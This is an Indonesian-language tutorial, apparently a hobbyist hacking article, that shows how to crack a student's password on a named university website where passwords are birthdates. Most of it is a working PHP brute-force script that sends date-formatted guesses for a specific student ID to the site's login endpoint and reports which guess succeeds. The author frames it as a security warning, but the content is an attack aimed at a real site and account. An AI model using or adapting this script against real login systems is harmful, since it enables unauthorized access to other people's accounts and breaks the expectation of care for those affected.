Pada artikel pertama saya ini, saya mencoba menunjukkan kepada teman2 bagaimana bahayanya bila admin suatu situs membuat sistem pengaksesan dengan menggunakan password berdasarkan tanggal.
Dalam contoh kasus kali ini, saya mencoba untuk bongkar password salah satu
mahasiswa dengan nomor induknya "11022924", yang berada pada situs
www.bsi.ac.id. Lalu, apa yang pertama kita lakukan ?
1. Akses kesitus ini : http://bsi.ac.id/login_d1d3_1.php , kamu bisa ambil
contoh apa aja...
2. Saat itu kamu akan lihat form loginnya...., saatnya kamu harus mengetahui
variabel2 apa yang dikirim, dengan mengetahui source webnya... caranya : klik
menu bar "VIEW" ==> "SOURCE"... (UNTUK Internet Explorer). Contoh misalnya sbg
berikut :
<FORM ACTION="CECEKLOG.PHP">
NAma : <INPUT TYPE="TEXT" NAME="user">
Password : <INPUT TYPE="TEXT" NAME="password">
NAma : <INPUT TYPE="submit" NAME="log" VALUE="OK">
</FORM>
Yang ber warna merah adalah nama variabel sedangkan berwarna biru adalah file
target dimana data variabel dikirimkan. Kamu harus mengubahnya ke alamat absolut
situsnya. Contohnya : bsi.ac.id/ceceklog.php
3. Oke, sudah mengetahui variabelnya... kamu harus cocokkan/mengerti mana yang
merupakan variabel username, password dan lain sebagainya... agar bisa mengikuti
langkah ke 4.
4. Oke saatnya listing
<!-- MULAI -->
<?php
# NAMA FILE : PASSWDTEST.PHP
# PENJELASAN : BONGKAR PASSWORD WEB YG MENGGUNAKAN TANGGAL SEBAGAI PASSWORD
# PEMBUAT : TONGAM M. R. TAMPUBOLON
# CONTACT : meyer_webmail@yahoo.com
// Biasanya banyak form login, menggunakan post method
// Tetapi k'lo menggunakan get, jangan kuatir lebih gampang... coba cari aja
beda dikit kok...
// Isi $query adalah variabel2 yg dikirim ke web server formatnya
var1=isi1&var2=isi2
function post($host,$query,$others='')
{
$path=explode('/',$host);
$host=$path[0];
unset($path[0]);
$path='/'.(implode('/',$path));
$post="POST $path HTTP/1.1\r\nHost: $host\r\nContent-type:
application/x-www-form-urlencoded\r\n${others}User-Agent: Mozilla
4.0\r\nContent-length: ".strlen($query)."\r\nConnection: close\r\n\r\n$query";
$h=fsockopen($host,80);
fwrite($h,$post);
for($a=0,$r='';!$a;)
{
$b=fread($h,8192);
$r.=$b;
$a=(($b=='')?1:0);
}
fclose($h);
return $r;
}
?>
<HTML>
<HEAD>
<TITLE>: : PASSWORD TEST : :</TITLE>
</HEAD>
<BODY>
<?php
// Ganti tanggal awal dan akhir test password
$awal="25/5/1984";
$akhir="28/5/1984";
// Pecah menjadi tanggal, bulan dan tahun
$oarr=explode("/", $awal);
$tawal=$oarr[2];
$bawal=$oarr[1];
$hawal=$oarr[0];
$oarr=explode("/", $akhir);
$takhir=$oarr[2];
$bakhir=$oarr[1];
$hakhir=$oarr[0];
// Url data akan dikirim contoh : host/dir/file... >>
tampubolon.com/contoh/coba.jsp
$urltarget="bsi.ac.id/ceceklog.php";
// Set variabel tgl text awal
$tgl="00/00/00";
// Test!!!
while($tgl!=$akhir)
{
$hf=(strlen($hawal)>1 ? $hawal : "0".$hawal);
$bf=(strlen($bawal)>1 ? $bawal : "0".$bawal);
$passtest=$tawal."-".$bf."-".$hf; // format passwordnya YYYY-MM-DD
$datatest=post($urltarget ,"user=11022924&pass=".$passtest."&aksi=Login"); //
Tampung headernya...
// Cek k'lo ada string yg diinginkan...
if(substr_count($datatest, "index_mhs.php")>0) // PASSWORD OK
{
echo "COBA PASSWORD : <B>".$passtest."</B> HASIL :
<B>BERHASIL</B><BR>\n</BODY>\n</HTML>";
exit;
}else{ // BUKAN PASSWORD
echo "COBA PASSWORD : <B>".$passtest."</B> HASIL : <B>GAGAL</B><BR>\n";
}
$tgl=$hawal."/".$bawal."/".$tawal; // Biar ngga loop trus menerus
// matematika untuk tanggal
if($hawal>30)
{
if($bawal>11)
{
$tawal+=1;
$bawal=0;
}
$bawal+=1;
$hawal=0;
}
$hawal+=1;
}
?>
</BODY>
</HTML>
<!-- AKHIR -->
Itulah akhir kisah dari artikel ini, semoga ada gunanya bagi perkembangan
keamanan di negara yang kita cintai ini... bay..bay..bay...
TONGAM M. R. TAMPUBOLON MENGUCAPKAN TERIMA KASIH KEPADA :
1. Kakak saya TUNGGUL JOHN GENESIS TAMPUBOLON DI GUNADHARMA
2. Adik saya TORKIS ANDREW, TORANG, TUMPAL, TIMBUL, TRENDY DENGAN AYAH DAN BUNDA
DI MEDAN.
3. Teman-teman di BINA SARANA INFORMATIKA, GUNADHARMA, UI, BINUS, VIRUS WRITER,
HACKER DLL.
4. JASAKOM MANIA
5. Untuk semuanya I Love You
|